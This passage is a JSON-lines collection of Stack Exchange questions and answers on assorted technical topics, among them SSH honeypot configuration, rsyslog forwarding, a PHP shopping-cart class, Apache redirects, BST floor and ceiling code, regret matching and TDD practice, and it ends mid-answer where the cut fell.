{  "id": "_unix.388275"  , "question": "I would like to disable password login for a user. But instead of the error message (Public key) I would not like the user notice that the password login is disabled and prompting him for password.So far I know I can disable password login for all users except one withPasswordAuthentication noMatch User totoPasswordAuthentication yesBut attempting to login as 'not_toto' will result an error message from the server, which I do not wish.Do I need to modify openssh sources to do that? Or is there a configuration option which can do the job?Edit:Having two ssh servers running is an option, so killing connections with iptables or via another method (outside ssh configuration) could do it.Edit 2:I want to do this as I need two ssh instances, one in the official door to get in and the other is a honeypot. So the bots will give their password but never letting them in. (nb: this is a personal project I am the only one using the server and not logging colleagues passwords nor other nasty things, I just want to make some stats on bots)The first ssh server (say official) is OpenSSH_7.4p1 Debian-10+deb9u1, OpenSSL 1.0.2l  25 May 2017, installed with Debian packages.The 'honeypot' is a modified version of Openssh-7.4p1 that logs username and passwords from login attempts.Actually PAM should be enabled on this one but I will double check it. Maybe your option symcbean may be the right one."  , "title": "SSH: disable password login for root but leaving the prompt"  , "tags": "ssh;openssh"  } 
{  "id": "_codereview.78966"  , "question": "Following is the code I am using to find a separate count for alphabets and numeric characters in a given alphanumeric string:   Public Sub alphaNumeric(ByVal input As String)        'alphaNumeric(asd23fdg4556g67gh678zxc3xxx)        'input.Count(Char.IsLetterOrDigit)        Dim alphaCount As Integer = 0 '<-- initialize alphabet counter        Dim numericCount As Integer = 0 '<-- initialize numeric counter        For Each c As Char In input '<-- iterate through each character in the input            If IsNumeric(c) = True Then numericCount += 1 '<--- check whether c is numeric? if then increment nunericCounter            If Char.IsLetter(c) = True Then alphaCount += 1 '<--- check whether c is letter? if then increment alphaCount        Next        MsgBox(Number of alphabets :  & alphaCount) '<-- display the result        MsgBox(Number of numerics :  & numericCount)    End SubEverything works fine for me. Let me know how I can make this simpler."  , "title": "Get alpha numeric count from a string"  , "tags": "strings;vb.net"  , "accepted_answer": "In general your code looks good, here are a few smaller remarks.Method name:Capitalize the name of your method and make it more meaningful. Use CountAlphaNumeric or something similar.Comments in code:You can omit the comments in your code. It speaks for itself what the code is doing, certainly because you use clear names for your variables.IsNumeric() - Char.IsDigit():In the .NET framework, there's the Char.IsDigit method, use this one instead:If Char.IsDigit(c) = True Then numericCount += 1MsgBox() - MessageBox.Show():Although MsgBox is valid, it also comes from the VB era. In the .NET framework there's the MessageBox.Show method, use that one instead:MessageBox.Show(Number of alphabets :  & alphaCount)String.Format():To insert variables in a string, use the String.Format instead of just concatenating the values:Dim result As String = String.Format(Number of alphabets : {0}, alphaCount)Expression = True:You can leave out the = True part in your if conditions, since the methods return a boolean value.This is what the code now looks like:Public Sub CountAlphaNumeric(ByVal input As String)    Dim alphaCount As Integer = 0    Dim numericCount As Integer = 0    For Each c As Char In input        If Char.IsDigit(c) Then numericCount += 1        If Char.IsLetter(c) Then alphaCount += 1    Next    MessageBox.Show(String.Format(Number of alphabets : {0}, alphaCount))    MessageBox.Show(String.Format(Number of numerics : {0}, numericCount)End SubUsing LinQ:Although not always the best option, you can achieve the same result using LinQ, using the Enumerable.Count method:Dim alphaCount = input.Count(Function(c) Char.IsLetter(c))Dim numericCount = input.Count(Function(c) Char.IsDigit(c))Here's the complete code using LinQ:Public Sub CountAlphaNumericUsingLinQ(ByVal input As String)    Dim alphaCount = input.Count(Function(c) Char.IsLetter(c))    Dim numericCount = input.Count(Function(c) Char.IsDigit(c))    MessageBox.Show(String.Format(Number of alphabets : {0}, alphaCount))    MessageBox.Show(String.Format(Number of numerics : {0}, numericCount))End Sub"  } 
{  "id": "_webapps.45449"  , "question": "I want to leave feedback for an item I bought on eBay that was listed as a classified, but I can't even find the item in My eBay.Is it not possible to leave feedback for classifieds?"  , "title": "Can I leave feedback for classified item on eBay?"  , "tags": "ebay"  , "accepted_answer": "No you can't.From the Different ways of buying help article:When you see a Classified Ad listing, it means that you deal directly with the seller and buy the item at a fixed price. Because your Classified Ad purchase is outside of eBay, you won't be able to use eBay Feedback or eBay Buyer Protection."  } 
{  "id": "_cs.27915"  , "question": "My question is the following: How to calculate the regret in practice?I am trying to implement the regret matching algorithm but I do not understand how to do it.First, I have $n$ players with the joint action space $\\mathcal{A}=\\{a_0, a_1,\\cdots,a_m\\}^n.$Then, I fix some period $T$. The action set $A^t\\in\\mathcal{A}$ is the action set chosen by players at time $t$. After the period $T$ (every player has chosen an action). So I get $u_i(A^t)$.Now the regret of player $i$ of not playing action $a_i$ in the past is: (here $A^t\\oplus a_i$ denotes the strategy set obtained if player $i$ changed its strategy from $a'_i$ to $a_i$)$$\\max\\limits_{a_i\\in A_i}\\left\\{\\dfrac{1}{T}\\sum_{t\\leqslant T}\\left(u_i(A^t\\oplus a_i )-u_i(A^t)\\right)\\right\\}.$$I do not understand how to calculate this summation. Why there is a max over the action $a_i\\in A_i$? Should I calculate the regret of all actions in $A_i$ and calculate the maximum? Also, In Hart's paper, the maximum is $\\max\\{R, 0\\}$. Why is there such a difference? I mean if the regret was:  $\\dfrac{1}{T}\\sum_{t\\leqslant T}\\left(u_i(A^t\\oplus a_i )-u_i(A^t)\\right),$the calculation would be easy for me.The regret is defined in the following two papers [1] (see page 4, equation (2.1c)) and [2] (see page 3, section I, subsection B).A simple adaptive procedure leading to correlated equilibrium by S. Hart et al (2000)Distributed algorithms for approximating wireless network capacity by Michael Dinitz (2010)I would like to get some helps from you. Any suggestions step by step how to implement such an algorithm please?"  , "title": "How to implement the regret matching algorithm?"  , "tags": "machine learning;game theory;learning theory"  , "accepted_answer": "The index set of the max operation is $A_i$, the actions of player $i$. The formula says: take each such action $a_i \\in A_i$ and compute its regret (with the sub-formula you say you can implement easily), and then take the maximum of those regrets. The reason for the $\\max(R,0)$ is that actions with negative regrets are performing worse than the action currently chosen.To implement this in code, just set a temporary variable $t$ to be 0. Now loop through the actions one by one, and for each action $a$, compute its regret $r$, and set $t$ as $\\max(r,t)$. Note that this approach includes the $\\max(R,0)$ operation; to do this without that, set $t$ initially to $-\\infty$."  } 
{  "id": "_codereview.54018"  , "question": "I wanted to create a cart that I can easily add some item or simply help someone at the other end over the phone.  I decided to create a cart that would store everything on MySQL instead of using $_SESSION.I did not code the whole cart just in case that this idea is very very bad. But I wanted to show what I have done and know your feedback.The MySQL table look like the following:CREATE TABLE IF NOT EXISTS `checkouts` (  `Id` int(11) NOT NULL AUTO_INCREMENT,  `SessionId` varchar(30) NOT NULL,  `LastTouchTime` int(11) NOT NULL,  `ObjectSerialized` text NOT NULL,  PRIMARY KEY (`Id`)) ENGINE=InnoDB  DEFAULT CHARSET=utf8 AUTO_INCREMENT=0 ;And this is the PHP class:class Checkout{    static $KeepCartFor = 86400;    static $dbCon = null;    private $CheckoutId = null;    private $Cart = array();    private $PromoCode = null;    private $SubTotal = 0.00;            // Please Note that im using GST as the rst ( the cart is kinda made for   easy swap between canada store and usa    private $Gst = 0.00; //Good And Services Taxes    private $Pst = 0.00; //Provincial Tax    private $Shipping = array(Method=>null,Cost=>0.00);    private $Total = 0.00;    private $Customer = array(FirstName=>null,LastName=>null,Email=>null,Home=>null,Work=>null,Cell=>null,Fax=>null,Company=>null,Address1=>null,Address2=>null,Address3=>null,Country=>null,State=>null,City=>null,Zip=>null,isShippingSameAsBilling=>true,ShipFirstName=>null,ShipLastName=>null,ShipCompany=>null,ShipAddress1=>null,ShipAddress2=>null,ShipAddress3=>null,ShipCountry=>null,ShipState=>null,ShipCity=>null,ShipZip=>null);    public function Cart_AddItem($WebsiteId,$Qty = 1)    {        if(!isset($this->Cart[$WebsiteId]))        {            $this->Cart[$WebsiteId] = $this->_GetProductDetail($WebsiteId);            $this->Cart[$WebsiteId]['Qty'] = $Qty;        }        else            $this->Cart[$WebsiteId]['Qty'] += $Qty;        $this->Shipping = array(Method=>null,Cost=>0.00);    }    public function Cart_RemoveItem($WebsiteId,$Qty = null)    {        if(isset($this->Cart[$WebsiteId]))            if(is_null($Qty))                unset($this->Cart[$WebsiteId]);            else            {                if($this->Cart[$WebsiteId]['Qty'] - $Qty <= 0)                    unset($this->Cart[$WebsiteId]);                else                    $this -> Cart[$WebsiteId]['Qty'] -= $Qty;            }        $this->Shipping = array(Method=>null,Cost=>0.00);    }    public function Cart_Emtpy()    {        $this -> Cart = array();        $this -> SubTotal = 0.0;        $this -> Gst = 0.00;        $this -> Pst = 0.00;        $this -> Total = 0.00;    }    public function Cart_GetItems($WithDetail = false)    {        if(!$WithDetail)        {            foreach($this->Cart as $WebsiteId => $Vars)            {                $Return[$WebsiteId] = $Vars['Qty'];            }            return $Return;        }        else            return $this->Cart;    }    private function _RefrechCartVars()    {        $this->SubTotal = 0.00;        $this->Gst = 0.00;        $this->Pst = 0.00;        $this->Total = 0.00;        foreach($this->Cart as $WebsiteId => $Vars)        {            $this->SubTotal += $Vars['ActualPrice']*$Vars['Qty'];        }        if(($this->Customer['isShippingSameAsBilling']?$this->Customer['Country']:$this->Customer['ShipCountry']) == United States)            if(($this->Customer['isShippingSameAsBilling']?$this->Customer['State']:$this->Customer['ShipState']) == New York)                $this->Gst = ($this->SubTotal * 0.07) + (is_null($this->Shipping['Method'])?0.00:$this->Shipping['Cost']);        $this->Total = $this->SubTotal + $this->Gst + (is_null($this->Shipping['Method'])?0.00:$this->Shipping['Cost']);    }    private function _GetProductDetail($WebsiteId)    {        $GetProductDetail = Checkout::$dbCon -> prepare(SELECT * FROM product WHERE id = :Id);        $GetProductDetail -> bindValue(':Id',$WebsiteId);        try{            $GetProductDetail->execute();        }catch(PDOException $e)        {die(Error Getting Product Detail :.$e->getMessage());}        $PD = $GetProductDetail->fetch(PDO::FETCH_ASSOC);        $Return['Brand'] = $PD['brand'];        $Return['ModelNumber'] = $PD['SKU'];        $Return['Title'] = $PD['title'];        $Return['ActualPrice'] = ($PD['pricingtype'] =='promo' && strtotime($PD['enddate']) >= time()?$PD['promoprice']:$PD['price']);        $Return['MSRP'] = $PD['originalprice'];        $Return['PictureUrl'] = $PD['picturelink'];        $Return['Weight'] = $PD['weight'];        $Return['DimensionalWeight'] = number_format($PD['height']*$PD['length']*$PD['width']/166,2);        $Return['CalculatedWeight'] = ($Return['Weight']>=$Return['DimensionalWeight']?$Return['Weight']:$Return['DimensionalWeight']);        return $Return;    }    public function __construct()    {//         Check if have an checkout already        $Prepare = Checkout::$dbCon ->prepare(SELECT * FROM checkouts WHERE SessionId = :SessionId AND LastTouchTime >= :Time ORDER BY Id DESC);        $Prepare -> bindValue(':SessionId',session_id());        $Prepare -> bindValue(':Time',time()-self::$KeepCartFor);        try{            $Prepare -> execute();            if($Prepare -> rowCount() != 0)            {                $Checkout = $Prepare->fetch(PDO::FETCH_ASSOC);                $this->CheckoutId = $Checkout['Id'];                $ThisVar = unserialize($Checkout['ObjectSerialized']);                foreach($ThisVar as $Key => $Val)                    $this->$Key = $Val;                $this->CheckoutId = $Checkout['Id'];            }        }catch(PDOException $e)        { die(Error Getting Checkout From Db: .$e->getMessage()); }    }    public function __destruct()    {        if(is_null($this->CheckoutId))        {// Insert Checkout In Mysql            $CheckWhatIsNextId = Checkout::$dbCon->prepare(SELECT Id FROM checkouts ORDER BY Id DESC LIMIT 0,1);            $CheckWhatIsNextId -> execute();            $NextId = $CheckWhatIsNextId -> fetch(PDO::FETCH_ASSOC);            $this->CheckoutId = $NextId['Id'];            $InsertCheckout = Checkout::$dbCon->prepare(INSERT INTO checkouts (`SessionId`,`LastTouchTime`,`ObjectSerialized`) VALUES(:SessionId,:LastTouchTime,:ObjectSer););            $InsertCheckout -> bindValue(':SessionId',session_id());            $InsertCheckout -> bindValue(':LastTouchTime',time());            $InsertCheckout -> bindValue(':ObjectSer',serialize($this));            try{                $InsertCheckout -> execute();            }catch(PDOException $e)            {                die(Error SavingCart In Db: .$e->getMessage());            }        }        else        {            $UpdateCheckout = Checkout::$dbCon->prepare(UPDATE `checkouts` SET `LastTouchTime` = :Time,ObjectSerialized = :Object WHERE `Id` = :Id;);            $UpdateCheckout -> bindValue(':Time',time());            $UpdateCheckout -> bindValue(':Object',serialize($this));            $UpdateCheckout -> bindValue(':Id',$this->CheckoutId);            try{                $UpdateCheckout -> execute();            }catch(PDOException $e)            {                die(Error SavingCart In Db: .$e->getMessage());            }        }    }}And this next class is simply a little class for my laziness of remembering the DSN of MySQL and port and all for PDO objects:class dbCon extends PDO{    public function __construct($host,$port,$user,$pass,$dbName=null)    {        $pdo_options[PDO::ATTR_ERRMODE] = PDO::ERRMODE_EXCEPTION;        $dsn = 'mysql:host='.$host.';port='.$port.';';        if(!is_null($dbName))            $dsn .='dbname='.$dbName;        try{            parent::__construct($dsn,$user,$pass,$pdo_options);        }catch(PDOException $e){ die(Error Connecting To Database: .$e->getMessage() ); }    }}Technically on any page I can access the cart with only 2 line of code:Checkout::$dbCon = new dbCon(127.0.0.1,3306,UserName,Password,DatabaseName);$Checkout = new Checkout();Maybe there is some security issue that I'm not thinking about, or perhaps I should do something different.  Let me know what you think."  , "title": "A cart that uses SessionID"  , "tags": "php;mysql"  , "accepted_answer": "DatabaseNormalize your database! Don't keep a string of serialized objects in the database, that's extremely brittle and extremely not helpful in all but the most simple cases. Instead, you should have 3 tables (two of which you already have):items - Table that holds information about items, includes name, price, etc.Key column: item_id.carts (renamed from checkout) - Table that holds information about user's carts. There's a 1:1 relationship between carts and checkouts, a single cart can't be checked out more than once, and a single checkout doesn't apply to multiple carts. So it makes sense to have them in the same table. Has the cart's ID, the user's ID (in your case, SessionID) and extra information (not items) like LastTouchTime.Key column: cart_iditems-in-carts. Items and carts have a many to many relationship, also known as n:m ratio. One cart can have multiple items in it, and the same item can be in multiple carts. So we have a third table that ties the two together. All the table has is two columns: item_id, cart_id. Here's an example for a many-to-many architecture.PHPNaming convention - ClassNames should be CamelCaps, $variableNames and methodNames() should be lowercase camelCase. Don't mix caps with underscores (for example, Cart_AddItem should be just addItem, it clear we're talking about the cart here, isn't it?)Use of static variables and methods - Don't. Static variables and methods are global, which means that by definition they make your application less stable, harder to test and maintain, and harder to read. Please don't.__construct() function should always be first - The first thing I read about a class is how it's constructed. Implicit dependencies - Your __construct() says it doesn't need any parameters, but that's a lie. It actually needs a database connection, and you're using a global to get it. That's what I mean by don't use static variables. This is a better approach:public function __construct(DBCon $dbCon) {Consistent spacing - Sometimes you use $var->method() and sometimes $var -> method() make up your mind, and stick with it. There are free tools that can do this job for you!Naming of things - Why is it called a Checkout? What I see is a Cart, and that's how it should be called. If you can checkout a cart, you should have a method $cart->checkout(...). Your methods are redundantly long, Cart_Empty() can be empty(), Cart_AddItem() can be addItem().Too much going on in once class - Your cart uses Items right? Why not make an Item class? What's the purpose of the dbCon object? - Why are you placing another abstraction on top of PDO? What problem are you solving here? On 99% of the application (and I bet including yours), you only ever need a single database connection, so what's the point of wrapping it in a class that hinders readability (I know the PDO, but I see dbCon and I have no idea what it is, until I dive in and read the code).All-in-all, I'd try to adopt a more OOP approach, create more class, increase the interaction between objects. Get rid of the globals and statics.Good luck :)"  } 
{  "id": "_softwareengineering.132288"  , "question": "We are using SQL Source Control 3, SQL Compare, SQL Data Compare from RedGate, Mercurial repositories, TeamCity  and a set of 4 environments including production. I am working on getting us to a dedicated environment per developer, but for at least the next 6 months we are stuck with a shared model.  To summarize our current system, we have a DEV SQL server where developers first make changes/additions.  They commit their changes through SQL Source Control to a local hgdev repository.  When they execute an hg push to the main repository, TeamCity listens for that and then (among other things) pushes hgdev repository to hgrc.  Another TeamCity process listens for that and does a pull from hgrc and deploys the latest to a QA SQL Server where regression and integration tests are run.  When those are passed a push from hgrc to hgprod occurs.  We do a compare of hgprod to our PREPROD SQL Server and generate deployment/rollback scripts for our production release.Separate from the above we have database Hot Fixes that will need to be applied in between releases.  The process there is for our Operations team make changes on the PreProd database, and then after testing, to use SQL Source Control to commit their hot fix changes to hgprod from the PREPROD database, and then do a compare from hgprod to PRODUCTION, create deployment scripts and run them on PRODUCTION.If we were in a dedicated database per developer model, we could simply automatically push hgprod back to hgdev and merge in the hot fix change (through TeamCity monitoring for hgprod checkins) and then developers would pick it up and merge it to their local repository and database periodically.  However, given that with a shared model the DEV database itself is the source of all changes, this won't work. Pushing hotfixes back to hgdev will show up in SQL Source Control as being different than DEV SQL Server and therefore we need to overwrite the reposistory with the change from the DEV SQL Server. My only workaround so far is to just have OPS assign a developer the hotfix ticket with a script attached and then we run their hotfixes against DEV ourselves to merge them back in.  I'm not happy with that solution.  Other than working faster to get to dedicated environment, are they other ways to keep this loop going automatically?"  , "title": "How do I Integrate Production Database Hot Fixes into Shared Database Development model?"  , "tags": "version control;deployment;database development"  } 
{  "id": "_datascience.5313"  , "question": "In a assignment we are given macro economic indicators like GDP, Consumer price index, Producer Price index and Industrial production index. Also we are given Crude oil, Sugar prices and FM-CG Sales. We are required to forecast future quarter sales and give a model. As I'm new to this subject, I don't know where to start with it, or what to read. Can anyone provide me with some examples of what to do, or any PDFs which might be helpful. "  , "title": "Forecasting sales and creating model"  , "tags": "predictive modeling;forecast"  } 
{  "id": "_unix.246076"  , "question": "I configured rsyslog to send logs to a central logging server like this:*.* @@192.168.1.20$ActionExecOnlyWhenPreviousIsSuspended on& @@192.168.1.21& /var/log/failover$ActionExecOnlyWhenPreviousIsSuspended offIt works well, except when machine is booting. When the virtual machine starts and approximately twenty seconds after the machine starts, no messages are sent to 192.168.1.20 or 192.168.1.21. However, /var/log/failover contains all those lost messages.As a test, I started the machine and entered by hand:$ logger 1$ logger 2$ logger 3...The first central logging server contains just:Nov 28 13:57:40 demo arsene: 10The second logging server contains no messages from the demo machine.Finally, var/log/failover on demo machine contains:Nov 28 13:57:10 demo rsyslogd: [origin software=rsyslogd swVersion=7.4.4 x-pid=361 x-info=http://www.rsyslog.com] startNov 28 13:57:10 demo rsyslogd: rsyslogd's groupid changed to 104Nov 28 13:57:10 demo rsyslogd: rsyslogd's userid changed to 101... # more than a hundred usual messages from the kernelNov 28 13:57:20 demo kernel: [   12.127981] random: nonblocking pool is initializedNov 28 13:57:21 demo arsene: 1Nov 28 13:57:22 demo arsene: 2Nov 28 13:57:23 demo arsene: 3Nov 28 13:57:25 demo arsene: 4Nov 28 13:57:27 demo arsene: 5Nov 28 13:57:28 demo arsene: 6Nov 28 13:57:30 demo arsene: 7Nov 28 13:57:32 demo arsene: 8Nov 28 13:57:37 demo arsene: 9I encounter this issue for both Ubuntu and Debian virtual machines.Additional notes:The network connectivity looks fine. If I try ping 192.168.1.20 and curl google.com during the period where the log messages are not sent to the log server, both ping and curl succeed.Disabling the firewall of the logging server has no effect.Running tcpdump shows that nothing is being sent to the log server during the twenty seconds period.Other Ubuntu machines on the network (which were deployed using a very different approach) report their logs to the logging server fine, including during the boot.By comparing the faulty machines to the correct ones, I noticed a version mismatch (7 vs. 8) for rsyslogd. Upgrading rsyslogd on faulty machines to version 8.14.0 haven't fixed the issue, but now I see the following message a bit after the log reporting starts working:Nov 29 02:18:39 demo rsyslogd-2359: action 'action 11' resumed (module 'builtin:omfwd') [v8.14.0 try http://www.rsyslog.com/e/2359 ]diff shows that /etc/rsyslog.conf and /etc/rsyslog.d/*.conf files are exactly the same between the new faulty machines and the old working ones.A apt-get update, apt-get upgrade and even apt-get dist-upgrade haven't fixed the problem."  , "title": "Why is syslogd not reporting messages to remote server during and just after the boot?"  , "tags": "rsyslog"  , "accepted_answer": "As @ThomasDickey said, networking may not be completely started when userland programs start to run. Many enterprise ethernet switches don't accept packets for a number of seconds after an interface comes up, as they try to negotiate spanning tree settings.rsyslog has an actionresumeinterval setting that is 30 seconds by default. If you set it to a smaller value before any directives that use TCP connections, that will increase the retry rate, and the connections ought to get completed more quickly.There are also additional options you can set to ensure that early messages which are  not sent immediately get delivered as soon as the connection is ready. For instance, you can use the options similar to:$ActionResumeInterval 5$ActionQueueType disk$WorkDirectory /var/spool/rsyslog$ActionQueueFilename actionRq$ActionQueueMaxDiskSpace 1m$ActionQueueSize 4000$ActionQueueTimeoutEnqueue    0$ActionResumeRetryCount -1"  } 
{  "id": "_webmaster.99608"  , "question": "I have a .htaccess file that in its end I created some 301 redirects. For example:Redirect 301 /site-building-from-home /Redirect 301 /%D7%9E%D7%96%D7%99%D7%9F-%D7%AA%D7%9B%D7%A0%D7%99%D7%9D /For some reason all redirects with an English alias (say, site-building-from-home) works but all these with encoded aliases (Hebrew-to-machine-language) don't.Do we have an Apache-directives/PCRE expert that can explain this phenomena ?(Note: I used / instead a domain-name+TLD for flexibility considerations)."  , "title": "Encoded 301 redirects don't work, only english one does"  , "tags": "htaccess;redirects"  , "accepted_answer": "As it states in the Apache docs for a mod-alias Redirect:The old URL-path is a case-sensitive (%-decoded) path ...So, assuming /%D7%9E%D7%96%D7%99%D7%9F-%D7%AA%D7%9B%D7%A0%D7%99%D7%9D is the actual request as sent from the client, then you will need to match against the literal, percent-decoded (aka URL-decoded), text in the Redirect directive. From your example this would be:Redirect /- /(Make sure your .htaccess file is UTF-8 encoded.)If you want to match the percent-encoded URL, as sent from the client, then you will need to use mod_rewrite and match against THE_REQUEST server variable (which is not percent-decoded). For example:RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\\ /%D7%9E%D7%96%D7%99%D7%9F-%D7%AA%D7%9B%D7%A0%D7%99%D7%9D\\ HTTP/RewriteRule ^ / [R=301,L]You will need to enable the rewrite engine earlier in your code if not already ie. RewriteEngine On.However, if you change to using mod_rewrite redirects then it is strongly recommended to change your mod_alias Redirects to use mod_rewrite as well in order to avoid unexpected conflicts."  } 
{  "id": "_codereview.60670"  , "question": "Find ceiling and floor in the BinarySearchTree. Looking for code-review, optmizations and best practices.public class FloorCeiling {    private TreeNode root;    public FloorCeiling(List<Integer> items) {         create(items);    }    private void create (List<Integer> items) {        if (items.isEmpty())  {            throw new NullPointerException(The items array is empty.);        }        root = new TreeNode(items.get(0));        final Queue<TreeNode> queue = new LinkedList<TreeNode>();        queue.add(root);        final int half = items.size() / 2;        for (int i = 0; i < half; i++) {            if (items.get(i) != null) {                final TreeNode current = queue.poll();                final int left = 2 * i + 1;                final int right = 2 * i + 2;                if (items.get(left) != null) {                    current.left = new TreeNode(items.get(left));                    queue.add(current.left);                }                if (right < items.size() && items.get(right) != null) {                    current.right = new TreeNode(items.get(right));                    queue.add(current.right);                }            }        }    }    private static class TreeNode {        private TreeNode left;        private int item;        private TreeNode right;        TreeNode(int item) {            this.item = item;        }    }    private static class IntegerObj {        Integer obj = null;    }    public int ceiling (int val) {        IntegerObj iobj = new IntegerObj();        recurseCeiling(root, iobj, val);        return iobj.obj;    }    public int floor (int val) {        IntegerObj iobj = new IntegerObj();        recurseFloor(root, iobj, val);        return iobj.obj;    }    private void recurseCeiling (TreeNode node,  IntegerObj iobj, int value) {        if (node == null) {            return;        }        if (value <= node.item) {            iobj.obj = node.item;            recurseCeiling(node.left, iobj, value);        } else {            recurseCeiling(node.right, iobj, value);        }    }    private void recurseFloor (TreeNode node, IntegerObj iobj, int value) {        if (node == null) {            return;        }        if (value < node.item) {            recurseFloor (node.left, iobj, value);        } else {            iobj.obj = node.item;            recurseFloor (node.right, iobj, value);        }    }}public class FloorCeilingTest {    @Test    public void test1() {        FloorCeiling fc1 = new FloorCeiling(Arrays.asList(100, 50, 150, 25, 75, 125, 175));        assertEquals(25,  fc1.ceiling(20));        assertEquals(50,  fc1.ceiling(30));        assertEquals(75,  fc1.ceiling(70));        assertEquals(100, fc1.ceiling(90));        assertEquals(125, fc1.ceiling(120));        assertEquals(150, fc1.ceiling(145));        assertEquals(175, fc1.ceiling(160));    }    @Test    public void test2() {        FloorCeiling fc2 = new FloorCeiling(Arrays.asList(100, 50, 150, 25, 75, 125, 175));        assertEquals(25,  fc2.floor(27));        assertEquals(50,  fc2.floor(55));        assertEquals(75,  fc2.floor(78));        assertEquals(100, fc2.floor(110));        assertEquals(125, fc2.floor(128));        assertEquals(150, fc2.floor(160));        assertEquals(175, fc2.floor(180));    }}"  , "title": "Find floor and ceiling in the BST"  , "tags": "java;tree"  } 
{  "id": "_unix.340984"  , "question": "It's nice to be able to fling the mouse up and right, not having to bother with precise targeting, and click.  If your hand's already on the mouse, this is easier than switching back to the keyboard to press Alt+F4 for a quick window close.E.g. Windows (since at least 95) has made this work, although they at times had very annoying almost maximized window defaults that interfered with this quite a bit in some applications.  Nonetheless, actual maximized windows have always capitalized on Fitz' Law in their design this way.Is there any way to get this behaviour in Linux Mint MATE 18.1?  (Marco is the window manager, it seems.)  As it is, maximized windows will not close with a click in the upper-right corner.  One has to precisely back up a few pixels to activate the X and close it."  , "title": "Getting Mint MATE (Marco?) to put the window-close X in the actual corner, not just near it"  , "tags": "linux mint;window manager;mate"  } 
{  "id": "_cs.65629"  , "question": "Question: Are there any introductory texts in formal language or programming language theory which discuss how to apply it to the study of optimal notation?In particular, I am interested to learn what stack-languages, parse trees, and indices are, and how to predict when a certain type of notation will lead to exponential redundancy.I have basically no background in either formal language/grammar or programming theory, since as a math major the only computer science I learned was algorithms and graph theory, as well as very modest smidgens of complexity theory and Boolean functions. Thus, if the only books which discuss this are not introductory, I would be grateful for answers that both list such books discussing exponential notation blow-up as well as introductory books that will prepare for the books which directly address my question.Context: This question is inspired primarily by an answer on Physics.SE, which says that:It is very easy to prove (rigorously) that there is no parentheses notation which reproduces tensor index contractions, because parentheses are parsed by a stack-language (context free grammar in Chomsky's classification) while indices cannot be parsed this way, because they include general graphs. The parentheses generate parse trees, and you always have exponentially many maximal trees inside any graph, so there is exponential redundancy in the notation.Throughout the rest of the answer, other examples of exponential notation blow-up are discussed, for example with Petri Nets in computational biology.There are also other instances where mathematical notation is difficult to parse, for example as mentioned here when functions and functions applied to the argument are not distinguished clearly. This can become especially confusing when the function becomes the argument and the argument becomes the function, e.g. here."  , "title": "Can formal languages be used to study mathematical notation?"  , "tags": "formal languages;reference request;formal grammars;programming languages"  , "accepted_answer": "Formal language theory does not concern itself with the semantics of the language. That might seem odd, since we tend to think of language as a mechanism for communicating something, but if you think about it, there are really two levels of understanding language (at least): the surface level, in which the language is a stream of lexemes, and the underlying denotational level which is more or less divorced from the surface representation. (Chomsky posited an intermediate transformational level to get around some limitations with CFGs but that's not relevant here.) Consequently, it is possible to say the same thing in different languages; Chomsky is not a Whorfian. (See Wikipedia for a brief overview, with some references).Nonetheless, a context-free grammar is not sufficient to distinguish correct and incorrect utterances. Chomsky offered the classic example: Colourless ideas sleep furiously (which he spelled incorrectly, being a USian). See Wikipedia, again. (Unfortunately Wikipedia doesn't have a Canadian English version.) The precise division between syntactic and semantic errors is hard, if not impossible, to demarcate and there has been considerable debate over this topic in CS fields, which I'm not going to even attempt to discuss here because I always get into trouble when I do. However, we can identify one classic grammatical rule present in many human languages: noun/verb agreement. I disagrees seems to me to be a syntactic error in the sense that I understand the intent of the utterance perfectly but also recognize it as erroneous. But this syntactic issue can only be captured by a context-free grammar if we enumerate all possible agreements. That is, we can write something vaguely like $S \\to NP_{sing} VP_{sing} | NP_{plural} VP_{plural}$, but it is easy to see how the enumeration could get out of hand in language with more complicated agreement rules (gender, for example).The problem with context-free grammars is that they are context-free, although you shouldn't take that description too seriously because it is easy to fall into the trap of misinterpreting technical use of common words (which, I might argue, is the basis of this question in the first place). That means that a nonterminal (like $NP$ above) must derive exactly the same set of phrases regardless of the context in which it appears. So we could not write, for example, $S \\to NP_X VP_X$ with the understanding that $X$ needs to be filled in the same way in both expansions. (This is one of the issues which which transformational grammar attempted to grapple.)That is exactly the problem with tensor index contractions. A tensor index contraction places a particular requirement on the use of index variables: an index variable must be used exactly twice, in which case it cannot be on the left-hand side, or exactly once, in which it must be on the left-hand side. (Since I'm not a physicist, I'd be tempted to collapse that into saying that an index variable must appear exactly twice in all. But there is a semantic distinction between free and placeholder variables, which is important to the understanding of the expression.) Here, there is no simple finite collection of index variables and no limit to the number of placeholders used. Moreover, renaming placeholders does not affect semantics provided that the new names are not used elsewhere in the expression, and one might expect the formal language description to capture that fact.It is in fact possible to rigorously prove the assertion that context-free grammars cannot capture contextual agreement, as in the previous examples. I think that has something to do with what the quoted claim is asserting. Depending on how omnicurious you are, you might find it interesting to learn more, but I don't think it will end up being particularly relevant to the philosophical or physical insights you seem to be seeking.The other linked articles, about unfortunate surface forms in mathematical notation, are simply anecdotal; none of them, as far as I can see, makes any deep or even superficial point relevant to formal language theory, just as the possibly famous joke that one man's fish is another man's poisson is not even vaguely insightful about romance linguistics, but it's still funny (IMO)."  } 
{  "id": "_softwareengineering.86099"  , "question": "I have been designing and developing code with TDD style for a long time. What disturbs me about TDD is writing tests for code that does not contain any business logic or interesting behaviour. I know TDD is a design activity more than testing but sometimes I feel it's useless to write tests in these scenarios.For example I have a simple scenario like When user clicks check button, it should check file's validity. For this scenario I usually start writing tests for presenter/controller class like the one below.@Testpublic void when_user_clicks_check_it_should_check_selected_file_validity(){    MediaService service =mock(MediaService);    View view =mock(View);    when(view.getSelectedFile).thenReturns(c:\\\\Dir\\\\file.avi);    MediaController controller =new MediaController(service,view);    controller.check();    verify(service).check(c:\\\\Dir\\\\file.avi);}As you can see there is no design decision or interesting code to verify behaviour. I am testing values from view passed to MediaService. I usually write but don't like these kind of tests. What do yo do about these situations ? Do you write tests for all the time ?UPDATE :I have changed the test name and code after complaints. Some users said that you should write tests for the trivial cases like this so in the future someone might add interesting behaviour. But what about Code for today, design for tomorrow. ? If someone, including myself, adds more interesting code in the future the test can be created for it then. Why should I do it now for the trivial cases ?"  , "title": "Do you write unit tests for all the time in TDD?"  , "tags": "unit testing;language agnostic;tdd"  , "accepted_answer": "I don't aim for 100 % of code coverage. And I usually don't write tests of methods which will obviously not contain any business logic and/or more than a few lines of code. But I still write unit tests (using TDD) of methods which not seem that complex. This is mostly because I like to have the unit test already, when coming back to that code months or even years later, and want to make it more complex. It's always easier to extend existing tests, than having to build it all from scratch. As Noufal said, it's subjective. My advice is to write the tests, if you 